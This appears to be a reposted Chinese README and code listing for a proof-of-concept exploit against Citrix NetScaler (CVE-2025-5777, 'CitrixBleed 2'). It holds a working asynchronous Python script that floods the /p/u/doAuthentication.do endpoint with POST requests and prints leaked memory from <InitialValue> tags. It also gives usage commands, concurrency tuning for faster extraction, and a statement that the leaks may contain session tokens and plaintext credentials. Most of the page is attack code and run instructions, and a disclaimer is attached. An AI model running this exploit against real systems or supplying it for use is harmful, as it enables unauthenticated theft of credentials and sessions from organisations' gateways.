Citrix NetScaler 内存泄露漏洞利用脚本 (CVE-2025-5777)
Citrix NetScaler 内存泄露漏洞利用脚本 (CVE-2025-5777)
项目概述
本项目是一个针对 Citrix NetScaler ADC 和 NetScaler Gateway 中 CVE-2025-5777 漏洞的概念验证(PoC)脚本。该漏洞被昵称为 "CitrixBleed 2",其严重性评级为 CVSS 9.3(高危),允许攻击者在无需身份验证的情况下远程读取设备内存内容,类似于著名的 Heartbleed 漏洞。
注意:本工具仅用于教育、研究和授权测试目的。未经授权的使用是非法且不道德的。
功能特性
- 异步高性能利用:使用
asyncio和aiohttp库实现高并发请求,提高内存数据提取效率。 - 内存数据解析:自动解析 HTTP 响应中的 XML 格式数据,提取
<InitialValue>标签内的泄露内存内容。 - 十六进制转储显示:内置
hex_dump函数,以类似xxd工具的格式清晰展示泄露的原始内存数据。 - 灵活配置选项:
- 支持通过代理 (
-p) 发送请求,便于使用 Burp Suite 等工具进行流量分析。 - 可调整并发线程数 (
-t),以控制对目标服务器的压力。 - 提供详细调试输出模式 (
-v),方便开发者排错和分析。
- 支持通过代理 (
- 优雅退出机制:捕获
SIGINT信号(如 Ctrl+C),实现脚本的平滑终止。 - 初步漏洞检测:脚本在初始请求轮次后自动判断目标是否可能易受攻击,避免无意义的持续请求。
安装指南
系统要求
- 操作系统:Linux (如 Ubuntu 20.04.6 LTS), macOS, 或 Windows (通过 WSL)
- Python 版本:Python 3.8 或更高版本
- 网络:能够访问目标 Citrix NetScaler 设备
依赖安装
脚本依赖以下 Python 库:
aiohttpcolorama
使用 pip 一键安装所有依赖:
pip3 install aiohttp colorama
使用说明
基础命令
python3 exploit.py <目标URL> [选项]
参数详解
<目标URL>: 必需。目标 Citrix NetScaler 设备的基础 URL (例如:http://target.com或https://gateway.example.com)。脚本会自动构建完整的漏洞利用端点 (/p/u/doAuthentication.do)。-v, --verbose: 启用详细调试输出,显示每个请求的状态和响应摘要。-p, --proxy: 指定 HTTP 代理服务器 (例如:http://127.0.0.1:8080),用于通过 Burp Suite 等工具拦截流量。-t, --threads: 设置并发请求的线程数,默认值为 10。增加此值可能提高数据泄露速度,但也会增加目标负载。
使用示例
-
基本漏洞验证:
python3 exploit.py https://vulnerable-netscaler.company.com如果目标存在漏洞,脚本会显示 "Leak detected!" 并开始打印泄露的内存十六进制数据。
-
通过代理进行详细分析:
python3 exploit.py http://10.0.0.5 -v -p http://localhost:8080此命令将通过运行在本地的代理发送所有请求,并打印详细日志,适合深度分析请求与响应。
-
高并发模式:
python3 exploit.py https://target.com -t 30使用 30 个并发线程发送请求,可能加快内存数据的收集速度。
输出解读
脚本运行后,如果发现漏洞,输出将包含类似以下内容:
[+] Found InitialValue:
00000000: 16 03 03 00 34 3a 32 38 3a 31 34 20 47 4d 54 20 ....4:28:14 GMT
00000010: 7a 62 78 61 31 31 30 32 20 50 50 45 2d 33 3a 20 zbxa1102 PPE-3:
...
00000000:等表示内存偏移地址。- 中间部分是内存内容的十六进制表示。
- 最右侧是这些字节对应的 ASCII 字符(不可打印字符显示为
.)。
泄露的数据可能包含会话令牌、认证信息、日志片段甚至明文凭据。
核心代码
1. 主函数与异步任务管理 (main)
此函数负责初始化 HTTP 会话、管理并发任务循环,并控制脚本的启动与停止逻辑。
async def main(url):
"""
主异步函数,负责管理整个漏洞利用过程。
参数:
url (str): 目标的基础URL。
"""
global stop_flag, leak_detected_once, initial_check_done
# 创建TCP连接器和超时设置
connector = aiohttp.TCPConnector(limit=threads)
timeout = aiohttp.ClientTimeout(total=15)
async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
# 主循环,直到收到停止信号
while not stop_flag:
# 创建一批并发请求任务
tasks = [fetch(session, url) for _ in range(threads)]
await asyncio.gather(*tasks)
# 首次循环后的检查:判断目标是否可能易受攻击
if not initial_check_done:
initial_check_done = True
if not leak_detected_once:
print(f"{Fore.YELLOW}[+] No leak detected in initial round. Target likely not vulnerable.")
stop_flag = True # 未检测到泄露,停止脚本
break
else:
print(f"{Fore.GREEN}[+] Leak detected! Continuing to extract...")
# 每次循环后短暂暂停,避免过度消耗资源
await asyncio.sleep(1)
2. 漏洞利用请求与响应处理 (fetch)
此函数执行核心的漏洞利用 HTTP 请求,并处理服务器的响应。
async def fetch(session, url):
"""
向目标发送单个漏洞利用请求并处理响应。
参数:
session (aiohttp.ClientSession): 复用的HTTP会话对象。
url (str): 目标的基础URL。
"""
full_url = f"{url}/p/u/doAuthentication.do" # 构造漏洞利用端点
try:
# 发送POST请求,数据为"login",这与漏洞触发条件相关
async with session.post(full_url, data="login", proxy=proxy, ssl=False) as response:
if verbose:
print(f"{Fore.CYAN}[DEBUG] POST to {full_url} -> Status: {response.status}")
# 只处理状态码为200的响应
if response.status == 200:
content = await response.read() # 读取原始响应体
if verbose:
print(f"{Fore.CYAN}[DEBUG] Response body (first 200 bytes): {content[:200]!r}")
# 从响应内容中提取泄露的内存数据
extract_initial_value(content)
else:
if verbose:
print(f"{Fore.RED}[DEBUG] Non-200 status code received: {response.status}")
except aiohttp.ClientConnectorError as e:
print(f"{Fore.RED}[!] Connection Error: {e}")
except Exception as e:
print(f"{Fore.RED}[!] Unexpected Error: {e}")
3. 内存数据提取与展示 (extract_initial_value, hex_dump)
这两个函数负责从原始响应中解析出泄露的数据,并以可读的格式呈现。
def extract_initial_value(content_bytes):
"""
从HTTP响应字节流中搜索并提取XML标签<InitialValue>内的内容。
参数:
content_bytes (bytes): 原始的HTTP响应体。
"""
global leak_detected_once
try:
# 将字节解码为字符串,错误字符替换
content_str = content_bytes.decode("utf-8", errors="replace")
# 使用正则表达式查找<InitialValue>标签及其内容
match = re.search(r"<InitialValue>(.*?)</InitialValue>", content_str, re.DOTALL)
if match and match.group(1).strip():
leak_detected_once = True # 标记已检测到泄露
print(f"{Fore.GREEN}\n[+] Found InitialValue:")
val = match.group(1)
# 调用hex_dump函数格式化显示泄露的内容
hex_dump(val.encode("utf-8", errors="replace"))
elif verbose:
print(f"{Fore.YELLOW}[DEBUG] No <InitialValue> tag with value found.")
except Exception as e:
print(f"{Fore.RED}[!] Regex parsing error: {e}")
def hex_dump(data):
"""
以经典的十六进制转储格式打印字节数据,便于分析内存内容。
参数:
data (bytes): 需要展示的原始字节数据。
"""
for i in range(0, len(data), 16):
chunk = data[i:i+16]
# 将每字节格式化为两位十六进制数
hex_bytes = ' '.join(f'{b:02x}' for b in chunk)
# 将字节转换为ASCII字符,非可打印字符显示为'.'
ascii_str = ''.join((chr(b) if 32 <= b <= 126 else '.') for b in chunk)
# 打印格式:偏移地址 | 十六进制部分 | ASCII部分
print(f'{i:08x}: {hex_bytes:<48} {ascii_str}')
⚠️ 法律与道德声明
本工具、代码及相关文档仅限用于以下合法目的:
- 在您拥有明确书面授权的前提下,对您拥有或管理的网络与系统进行安全评估。
- 在隔离的实验室环境中进行网络安全研究与教学。
- 提升对 CVE-2025-5777 等内存泄露漏洞的认识与防护能力。
严禁将本工具用于:
- 对任何未经明确授权的系统进行测试、扫描或攻击。
- 任何形式的非法侵入、数据窃取或破坏活动。
- 违反您所在地法律法规的任何行为。
使用者需对自身行为负全部责任。作者不承担任何因使用或滥用此工具而产生的直接或间接损失的责任。安全从业者应始终遵循“不伤害”原则和负责任的漏洞披露流程。
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPzZDhSp9Il45KuOOJyA86N
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
公众号二维码

公众号二维码


浙公网安备 33010602011771号